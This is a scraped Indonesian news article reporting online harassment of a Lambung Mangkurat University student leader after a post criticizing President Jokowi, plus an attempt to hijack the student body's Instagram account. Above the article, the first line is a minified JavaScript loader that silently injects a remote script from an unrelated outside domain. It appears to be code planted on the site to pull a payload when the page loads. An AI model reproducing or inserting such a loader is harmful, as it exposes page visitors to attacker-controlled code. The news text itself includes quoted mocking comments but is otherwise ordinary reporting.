(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Serangan para buzzer atas BEM Universitas Lambung Mangkurat (ULM) pasca unggahan di akun Instagram @bem_ulm yang menyebut “Jokowi Si Raja Pengeramput?” terus bergulir. Hingga kini, sudah ada sebanyak 1.028 komentar panas yang menjurus serangan pribadi Ketua BEM Ahmad Rinaldy. Tak hanya itu, akun IG @bem-ulm pun ikut diretas.
Sejak diunggahnya postingan “Jokowi Si Raja Pengeramput?” pada Rabu (7/7/2021) hingga Jumat (9/7/2021), akun instagram pribadi Ahmad Rinaldy, Ketua BEM ULM, sudah dibanjiri ribuan komentar nyinyir yang menyerang secara personal.
Komentar-komentar tersebut mempunyai arah yang sama, yakni mengungkit fitnah terkait Rinaldy yang menonton dan menyawer di aplikasi Bigo pada suatu akun live.
Berikut sebagian kecil komentar yang bernada mengungkit hal tersebut:
@sukristiyanto2501 : Bang kapan kita nobar bigo nih
@yudy.ramlan : Kasih dia panggung (emoticon tertawa)
@elbaqirr : Ngopi dulu sambil nonton bigo enak Bang (emoticon jatuh cinta)
@sangranghanna767 : @ahmadrin_aldi ,,, elu apanya si Fadli Zon,,,? kok samaan busuknya,,,,
@arispermadanio : bro” lu kalau nyawer live bigo berapa emang ? kalau 100 rb mah jangan sok jadi pengkritik deh
Pada story instagram Rinaldy, ia menyebutkan bahwa akun instagram @bem_ulm juga telah ada percobaan untuk diretas.
Baca juga: Jangan Banyak Berharap, Ini Prediksi Hukuman Nia Ramadhani Menurut Ferdinand Hutahaean
Hal ini dikonfirmasi oleh Ahmad Rafi’i, Koordinator Media Publikasi BEM ULM.
“Iya, ada seseorang yang mencoba meretas akun IG BEM, tepatnya jam 08.39. Saat kami ingin log in instagram,” ujarnya kepada Kanalkalimantan.com.
“Percobaan peretasan itu dengan mencoba mengganti kata sandi akun IG BEM, kami sempat kebingungan, bahkan menghabiskan waktu hampir 1 jam untuk mencoba log in,” ucap Rafi’i.
“Untungnya, masih ada tap perlindungan dari pihak instagram, jadi sekarang sudah terbilang aman akun IG BEM,” tambahnya.
Para buzzer pendukung Jokowi menilai kritikan BEM UI sebut Jokowi Lip Service tidak sopan dan tidak berdasar. Tak sedikit yang menuding BEM UI memiliki afiliasi politik yang berbeda dengan pemerintah.
Menanggapi hal itu, Ketua BEM UI Leon Alvinda Putra menegaskan apa yang disampaikan mereka lewat media sosial memiliki dasar. Kritik didasarkan kajian terhadap beberapa isu, mulai dari revisi UU ITE hingga pelemahan KPK.
“Kami punya dasar, kami sudah punya kajian terkait UU ITE, pelemahan KPK, represivitas aparat, hingga UU Cipta Kerja,” kata Leon dilansir Kumparan.com.
Leon menyebut, serangan para buzzer malah tidak bisa membantah argumentasi dalam kritik yang disampaikan BEM UI.
“Jadi serangan buzzer buat kami bukan argumen yang membantah kajian tersebut,” ujarnya.
Ulah para buzzer memang kerap meresahkan. Sebab, mereka memberikan tudingan tanpa disertai fakta. Seperti di kasus BEM UI, ada sebagian para buzzer yang menghubungkan tindakan BEM UI dengan oposisi pemerintah yang mereka sebut kadrun. (Kanalkalimantan.com/nurul)
Reporter: nurul
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.